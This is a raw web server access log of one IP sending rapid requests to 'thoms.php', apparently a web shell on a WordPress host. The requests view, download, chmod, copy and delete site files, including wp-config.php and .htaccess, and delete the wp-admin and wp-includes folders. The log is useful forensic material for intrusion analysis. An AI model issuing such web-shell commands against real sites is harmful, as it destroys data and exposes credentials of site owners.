45.135.193.11 - - [11/Sep/2026:22:37:21 -0400] "GET /thoms.php?p=ba-guo.com.tw&view=wp-cron.php HTTP/1.1" 200 14174 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw&view=wp-cron.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:21 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-cron.php&p=ba-guo.com.tw HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-cron.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:21 -0400] "GET /thoms.php?chmod=wp-load.php&p=ba-guo.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?chmod=wp-load.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:21 -0400] "GET /thoms.php?p=ba-guo.com.tw&view=mah.php HTTP/1.1" 200 11812 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw&view=mah.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:21 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-activate.php&p=ba-guo.com.tw HTTP/1.1" 200 11427 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-activate.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:21 -0400] "GET /thoms.php?chmod=wp-links-opml.php&p=ba-guo.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?chmod=wp-links-opml.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:21 -0400] "GET /ba-guo.com.tw/wp-content/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:21 -0400] "GET /thoms.php?dl=wp-login.php&p=ba-guo.com.tw HTTP/1.1" 200 17361 "http://163.245.207.76:443/thoms.php?dl=wp-login.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:21 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-trackback.php&p=ba-guo.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-trackback.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:21 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2F.htaccess&p=ba-guo.com.tw HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2F.htaccess&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:21 -0400] "GET /thoms.php?chmod=wp-blog-header.php&p=ba-guo.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?chmod=wp-blog-header.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:22 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-settings.php&p=ba-guo.com.tw HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-settings.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:22 -0400] "GET /thoms.php?del=wp-admin&p=ba-guo.com.tw HTTP/1.1" 200 17362 "http://163.245.207.76:443/thoms.php?del=wp-admin&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:22 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p= HTTP/1.1" 200 11693 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:22 -0400] "GET /thoms.php?del=wp-includes&p=ba-guo.com.tw HTTP/1.1" 200 17363 "http://163.245.207.76:443/thoms.php?del=wp-includes&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:22 -0400] "GET /thoms.php?p=ba-guo.com.tw&view=readme.html HTTP/1.1" 200 15241 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw&view=readme.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:22 -0400] "GET /thoms.php?chmod=error_log&p=ba-guo.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?chmod=error_log&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:22 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-links-opml.php&p=ba-guo.com.tw HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-links-opml.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:22 -0400] "GET /thoms.php?dl=wp-mail.php&p=ba-guo.com.tw HTTP/1.1" 200 17360 "http://163.245.207.76:443/thoms.php?dl=wp-mail.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:22 -0400] "GET /thoms.php?dl=wp-trackback.php&p=ba-guo.com.tw HTTP/1.1" 200 17362 "http://163.245.207.76:443/thoms.php?dl=wp-trackback.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:22 -0400] "GET /thoms.php?del=web-filter&p=ba-guo.com.tw HTTP/1.1" 200 17354 "http://163.245.207.76:443/thoms.php?del=web-filter&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:22 -0400] "GET /thoms.php?del=wp-load.php&p=ba-guo.com.tw HTTP/1.1" 200 17353 "http://163.245.207.76:443/thoms.php?del=wp-load.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:22 -0400] "GET /thoms.php?del=wp-mail.php&p=ba-guo.com.tw HTTP/1.1" 200 17362 "http://163.245.207.76:443/thoms.php?del=wp-mail.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:22 -0400] "GET /thoms.php?chmod=upgrade&p=ba-guo.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?chmod=upgrade&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:22 -0400] "GET /thoms.php?p=ba-guo.com.tw&view=error_log HTTP/1.1" 200 14350 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:23 -0400] "GET /thoms.php?p=ba-guo.com.tw&view=wp-trackback.php HTTP/1.1" 200 14101 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw&view=wp-trackback.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:23 -0400] "GET /thoms.php?chmod=wp-trackback.php&p=ba-guo.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?chmod=wp-trackback.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:23 -0400] "GET /thoms.php?p=ba-guo.com.tw&view=xmlrpc.php HTTP/1.1" 200 13364 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw&view=xmlrpc.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:23 -0400] "GET /thoms.php?chmod=setting-checkpoint&p=ba-guo.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?chmod=setting-checkpoint&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:23 -0400] "GET /ba-guo.com.tw/license.txt HTTP/1.1" 200 7276 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:23 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fmah.php&p=ba-guo.com.tw HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fmah.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:23 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p= HTTP/1.1" 200 11698 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:23 -0400] "GET /ba-guo.com.tw/wp-config.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:23 -0400] "GET /thoms.php?del=wp-blog-header.php&p=ba-guo.com.tw HTTP/1.1" 200 17360 "http://163.245.207.76:443/thoms.php?del=wp-blog-header.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:23 -0400] "GET /thoms.php?dl=wp-blog-header.php&p=ba-guo.com.tw HTTP/1.1" 200 17363 "http://163.245.207.76:443/thoms.php?dl=wp-blog-header.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:23 -0400] "GET /ba-guo.com.tw/thoms.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:23 -0400] "GET /thoms.php?chmod=wp-login.php&p=ba-guo.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?chmod=wp-login.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:23 -0400] "GET /ba-guo.com.tw/upgrade/ HTTP/1.1" 200 6671 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:23 -0400] "GET /ba-guo.com.tw/thoms.php?p= HTTP/1.1" 200 17294 "https://163.245.207.76/ba-guo.com.tw/thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:23 -0400] "GET /thoms.php?chmod=license.txt&p=ba-guo.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?chmod=license.txt&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:23 -0400] "GET /thoms.php?del=license.txt&p=ba-guo.com.tw HTTP/1.1" 200 17363 "http://163.245.207.76:443/thoms.php?del=license.txt&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:23 -0400] "GET /thoms.php?del=readme.html&p=ba-guo.com.tw HTTP/1.1" 200 17361 "http://163.245.207.76:443/thoms.php?del=readme.html&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:23 -0400] "GET /thoms.php?del=wp-cron.php&p=ba-guo.com.tw HTTP/1.1" 200 17360 "http://163.245.207.76:443/thoms.php?del=wp-cron.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:24 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-mail.php&p=ba-guo.com.tw HTTP/1.1" 200 11423 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-mail.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:24 -0400] "GET /thoms.php?dl=wp-settings.php&p=ba-guo.com.tw HTTP/1.1" 200 17362 "http://163.245.207.76:443/thoms.php?dl=wp-settings.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:24 -0400] "GET /thoms.php?chmod=cgi-bin&p=ba-guo.com.tw HTTP/1.1" 200 11486 "http://163.245.207.76:443/thoms.php?chmod=cgi-bin&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:24 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 200 13975 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:24 -0400] "GET /thoms.php?chmod=.htaccess&p=ba-guo.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?chmod=.htaccess&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:24 -0400] "GET /ba-guo.com.tw/cgi-bin/ HTTP/1.1" 200 691 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:24 -0400] "GET /thoms.php?chmod=index.php&p=ba-guo.com.tw HTTP/1.1" 200 11491 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:24 -0400] "GET /thoms.php?p=ba-guo.com.tw&view=license.txt HTTP/1.1" 200 20075 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw&view=license.txt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:24 -0400] "GET /thoms.php?p=ba-guo.com.tw&view=wp-signup.php HTTP/1.1" 200 22509 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw&view=wp-signup.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:24 -0400] "GET /ba-guo.com.tw/wp-includes/ HTTP/1.1" 200 9333 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:24 -0400] "GET /thoms.php?chmod=web-filter&p=ba-guo.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?chmod=web-filter&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:24 -0400] "GET /thoms.php?dl=wp-signup.php&p=ba-guo.com.tw HTTP/1.1" 200 17362 "http://163.245.207.76:443/thoms.php?dl=wp-signup.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:24 -0400] "GET /thoms.php?dl=xmlrpc.php&p=ba-guo.com.tw HTTP/1.1" 200 17362 "http://163.245.207.76:443/thoms.php?dl=xmlrpc.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:25 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2F.well-known&p= HTTP/1.1" 200 11698 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2F.well-known&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:24 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 200 59219 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:25 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p= HTTP/1.1" 200 11698 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:25 -0400] "GET /ba-guo.com.tw/index.php HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:25 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Freadme.html&p=ba-guo.com.tw HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Freadme.html&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:25 -0400] "GET /ba-guo.com.tw/readme.html HTTP/1.1" 200 2990 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:25 -0400] "GET /ba-guo.com.tw/ HTTP/1.1" 404 10432 "https://163.245.207.76/ba-guo.com.tw/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:25 -0400] "GET /ba-guo.com.tw/wp-blog-header.php HTTP/1.1" 404 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:25 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Flocoy.php&p=ba-guo.com.tw HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Flocoy.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:25 -0400] "GET /thoms.php?del=.well-known&p=ba-guo.com.tw HTTP/1.1" 200 17362 "http://163.245.207.76:443/thoms.php?del=.well-known&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:25 -0400] "GET /thoms.php?p=ba-guo.com.tw&view=wp-config-sample.php HTTP/1.1" 200 13313 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw&view=wp-config-sample.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:25 -0400] "GET /thoms.php?chmod=wp-cron.php&p=ba-guo.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?chmod=wp-cron.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:25 -0400] "GET /thoms.php?p=ba-guo.com.tw&view=wp-login.php HTTP/1.1" 200 29034 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw&view=wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:25 -0400] "GET /thoms.php?del=wp-settings.php&p=ba-guo.com.tw HTTP/1.1" 200 17361 "http://163.245.207.76:443/thoms.php?del=wp-settings.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:25 -0400] "GET /thoms.php?p=ba-guo.com.tw&view=.htaccess HTTP/1.1" 200 12725 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw&view=.htaccess" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:25 -0400] "GET /thoms.php?del=setting-checkpoint&p=ba-guo.com.tw HTTP/1.1" 200 17364 "http://163.245.207.76:443/thoms.php?del=setting-checkpoint&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:26 -0400] "GET /ba-guo.com.tw/locoy.php HTTP/1.1" 200 125 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:26 -0400] "GET /thoms.php?dl=.htaccess&p=ba-guo.com.tw HTTP/1.1" 200 17362 "http://163.245.207.76:443/thoms.php?dl=.htaccess&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:26 -0400] "GET /ba-guo.com.tw/wp-admin/ HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:26 -0400] "GET /thoms.php?del=mah.php&p=ba-guo.com.tw HTTP/1.1" 200 17359 "http://163.245.207.76:443/thoms.php?del=mah.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:26 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-content&p= HTTP/1.1" 200 11693 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:26 -0400] "GET /thoms.php?del=.htaccess&p=ba-guo.com.tw HTTP/1.1" 200 17362 "http://163.245.207.76:443/thoms.php?del=.htaccess&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:26 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fthoms.php&p=ba-guo.com.tw HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fthoms.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
